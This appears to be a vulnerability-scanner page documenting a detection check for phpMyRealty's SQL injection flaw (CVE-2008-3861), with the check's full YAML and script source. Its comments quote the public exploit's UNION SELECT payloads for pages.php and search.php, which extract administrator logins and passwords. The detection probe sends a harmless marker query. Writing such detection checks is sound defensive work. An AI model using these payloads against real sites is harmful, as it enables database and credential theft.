phpMyRealty — 1 vulnerability check
noctis ships 1 vulnerability check for phpMyRealty, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpMyRealty pages.php / search.php SQL Injection
| CVE | CVE-2008-3861 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpmyrealty/CVE-2008-3861.yaml |
phpMyRealty 1.0.7 to 1.0.9 puts the id parameter of pages.php and the price_max parameter of search.php unquoted into SQL queries and prints the row they return, allowing unauthenticated SQL injection (an attacker can read the whole database, administrator credentials included).
This check looks for phpMyRealty on index.php under the web root and a few usual install paths. Where it is found, it requests pages.php with an id that is a UNION SELECT of an expression multiplying two random numbers, then, if that page does not answer, search.php with the same UNION SELECT in price_max. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/pages.php?id={{sc.q3}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?price_min=50000&price_max={{sc.q44}} - Parses / computes the next value with a Rhai script
- Checks
hitfor^/→ finding QoD 97: phpMyRealty pages.php / search.php SQL Injection (CVE-2008-3861)
References:
Feed source — tests/vulnerabilities/phpmyrealty/CVE-2008-3861.yaml
# phpMyRealty 1.0.7 - 1.0.9 — pages.php 'id' / search.php 'price_max' SQL injection — CVE-2008-3861
#
# pages.php?id=<id> puts id unquoted into a 3-column SELECT and prints the first
# column of the row; search.php puts price_max unquoted into the 44-column
# listings SELECT and prints column 9. Public PoC (EDB-6320):
# pages.php?id=-999999 union select concat_ws(0x3a,login,password),2,3 from pmr_admins/*
# search.php?price_min=50000&price_max=-999999 union select 1,…,concat_ws(…),…,44 from pmr_admins/*
#
# Detection (QoD 97): on an install whose index.php names phpMyRealty, the id
# (then price_max) value is a UNION SELECT filling every column with
# C = CONCAT(0x4e4f43544953, a*b, 0x454e44), random a, b. The product a*b is never
# in the request, so only an SQL engine that evaluated our expression can return
# "NOCTIS<a*b>END". No table is referenced, no quotes, nothing is written.
#
# Better than the source NASL:
# - the NASL only probes pages.php; search.php price_max (the second injection
# point of the CVE) is probed too when pages.php does not answer;
# - the NASL gates on the exact "phpMyRealty.com" footer string; any mention of
# phpMyRealty (title, "Powered by phpMyRealty 1.0.7" footer) is accepted;
# - a database-computed value instead of a fixed hex string echoed back, so a
# page reflecting the URL cannot match;
# - "-- -" ends the payload instead of the PoC's unclosed "/*", which MySQL 5.7+
# and MariaDB reject when the query continues after the injected value.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_phpmyrealty_1_0_9_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100071, GPL-2.0-only).
uid: 79b762b0-712c-4a2a-b4b2-0ff811506100
name: "phpMyRealty pages.php / search.php SQL Injection (CVE-2008-3861)"
description: |
phpMyRealty 1.0.7 to 1.0.9 puts the id parameter of pages.php and the
price_max parameter of search.php unquoted into SQL queries and prints the row
they return, allowing unauthenticated SQL injection (an attacker can read the
whole database, administrator credentials included).
This check looks for phpMyRealty on index.php under the web root and a few
usual install paths. Where it is found, it requests pages.php with an id that
is a UNION SELECT of an expression multiplying two random numbers, then, if
that page does not answer, search.php with the same UNION SELECT in price_max.
The vulnerability is confirmed when the page returns the product computed by
the database, which never appears in the request. No table data is read and
nothing is written.
cves: [CVE-2008-3861]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpmyrealty, real-estate, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-3861"
- "https://www.exploit-db.com/exploits/6320"
# OpenVAS/Greenbone NASL 2009/gb_phpmyrealty_1_0_9_sql_injection.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected marker and the encoded payloads ─────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
let p3 = c + "," + c + "," + c;
let p44 = c;
for i in 1..44 { p44 += "," + c; }
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q3: "-999999%20union%20select%20" + p3 + "--%20-",
q44: "-999999%20union%20select%20" + p44 + "--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/phpmyrealty", "/phpMyRealty", "/pmr", "/realty"]
- id: init-pages-resp
action: set_var
var_name: pg_resp
var_value: {status: 0, body: ""}
- id: init-search-resp
action: set_var
var_name: se_resp
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit == ""'
store_as: landing
- id: fingerprint
action: script
condition: 'hit == ""'
code: |
let body = if type_of(landing.body) == "string" { landing.body } else { "" };
egrep("(?i)phpMyRealty", body) != ""
store_as: is_pmr
- id: pages-probe
action: http_request
method: GET
path: "{{dir}}/pages.php?id={{sc.q3}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit == "" && is_pmr == true'
store_as: pg_resp
- id: check-pages
action: script
condition: 'hit == "" && is_pmr == true'
code: |
let body = if type_of(pg_resp.body) == "string" { pg_resp.body } else { "" };
let d = if dir == "" { "/" } else { dir + "/" };
if body.contains(sc.want) { d + "pages.php?id=-999999 union select C,C,C-- -" } else { "" }
store_as: hit
- id: search-probe
action: http_request
method: GET
path: "{{dir}}/search.php?price_min=50000&price_max={{sc.q44}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit == "" && is_pmr == true'
store_as: se_resp
- id: check-search
action: script
condition: 'hit == "" && is_pmr == true'
code: |
let body = if type_of(se_resp.body) == "string" { se_resp.body } else { "" };
let d = if dir == "" { "/" } else { dir + "/" };
if body.contains(sc.want) { d + "search.php?price_min=50000&price_max=-999999 union select C,…,C (44 columns)-- -" } else { "" }
store_as: hit
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit
pattern: "^/"
on_match:
finding:
title: "phpMyRealty pages.php / search.php SQL Injection (CVE-2008-3861)"
description: "An unauthenticated request with a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: the parameter reaches the SQL query unquoted, so an attacker can read the whole database (administrator credentials included)."
remediation: "No fixed release of phpMyRealty is known: remove the application, or make pages.php and search.php cast id, price_min and price_max to numbers before building the queries."
confidence_delta: 0.67
qod: 97
evidence: "{{hit}} with C = CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44) returned the database-computed value {{sc.want}}"
stop: true